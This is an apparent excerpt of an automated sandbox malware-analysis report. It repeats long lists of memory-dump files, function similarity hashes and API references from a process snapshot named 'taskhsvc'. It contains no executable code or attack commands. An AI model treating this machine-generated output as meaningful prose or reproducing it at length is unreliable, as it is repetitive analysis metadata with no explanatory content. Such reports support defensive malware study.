                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail_lseek
                                        • String ID:
                                        • API String ID: 3527763596-0
                                        • Opcode ID: c155dea8dac6549b164a1229795dddd482923f49917f39704fed7792fe82f4bb
                                        • Instruction ID: cf90dcbda3fd6dfa7032f056a98ef2132bb2fd7146ec852242d34ba7430c079f
                                        • Opcode Fuzzy Hash: c155dea8dac6549b164a1229795dddd482923f49917f39704fed7792fe82f4bb
                                        • Instruction Fuzzy Hash: 9DF01CB4A00205AFCB00DF6DC94175EBBF1EB44314F018118E594DB380E634E8418FA1
                                        Function 00D172A4 Relevance: 3.0, APIs: 2, Instructions: 24COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_failioctlsocket
                                        • String ID:
                                        • API String ID: 496226349-0
                                        • Opcode ID: dc99a296605ff7b1870bb9adcfde9c7dc3199d1f54766ab6b99a2dcd55ed03e5
                                        • Instruction ID: b58caa66e60da7632c5d1c5bcd2b4cb29a204eaed40498d2e70ad53b98b90412
                                        • Opcode Fuzzy Hash: dc99a296605ff7b1870bb9adcfde9c7dc3199d1f54766ab6b99a2dcd55ed03e5
                                        • Instruction Fuzzy Hash: 7CF0F8709002099FCB00DFA9C55169EBBF0EB48304F018428E554AB350E774A9558F95
                                        Function 00D1E4A9 Relevance: 3.0, APIs: 2, Instructions: 24COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_failfree
                                        • String ID:
                                        • API String ID: 3014125611-0
                                        • Opcode ID: c5d16f47149128387cf5588e9f7591b7abe83c246be11a5d1c2ad39f23bbfea6
                                        • Instruction ID: 9b21f45055c006b6c326c469970c3dac242484709467d40fc39a6d0d7a128003
                                        • Opcode Fuzzy Hash: c5d16f47149128387cf5588e9f7591b7abe83c246be11a5d1c2ad39f23bbfea6
                                        • Instruction Fuzzy Hash: 2AE0ED74D002099BCF00EFB9D5456AEBBF1AB05304F468854A950EB240E638EA96CFA4
                                        Function 00D1E460 Relevance: 3.0, APIs: 2, Instructions: 24COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_failfree
                                        • String ID:
                                        • API String ID: 3014125611-0
                                        • Opcode ID: c5d16f47149128387cf5588e9f7591b7abe83c246be11a5d1c2ad39f23bbfea6
                                        • Instruction ID: 03689dfa050efa50152b6cfec61958a27c9fcc1ce3b71c380f64ecea0f33c30f
                                        • Opcode Fuzzy Hash: c5d16f47149128387cf5588e9f7591b7abe83c246be11a5d1c2ad39f23bbfea6
                                        • Instruction Fuzzy Hash: CDE0ED74D002099BCF00EFB9D5456AEBBF0AB05314F468854A950EB240E638EA56CFA4
                                        Function 00CC3832 Relevance: 1.6, APIs: 1, Instructions: 74COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00CC3735: __stack_chk_fail.LIBSSP-0 ref: 00CC382B
                                          • Part of subcall function 00CC7506: __stack_chk_fail.LIBSSP-0 ref: 00CC7725
                                        • __stack_chk_fail.LIBSSP-0 ref: 00CC393E
                                          • Part of subcall function 00CC3457: abort.MSVCRT ref: 00CC34AE
                                          • Part of subcall function 00CC3457: abort.MSVCRT ref: 00CC34F1
                                          • Part of subcall function 00CC3457: __stack_chk_fail.LIBSSP-0 ref: 00CC372E
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
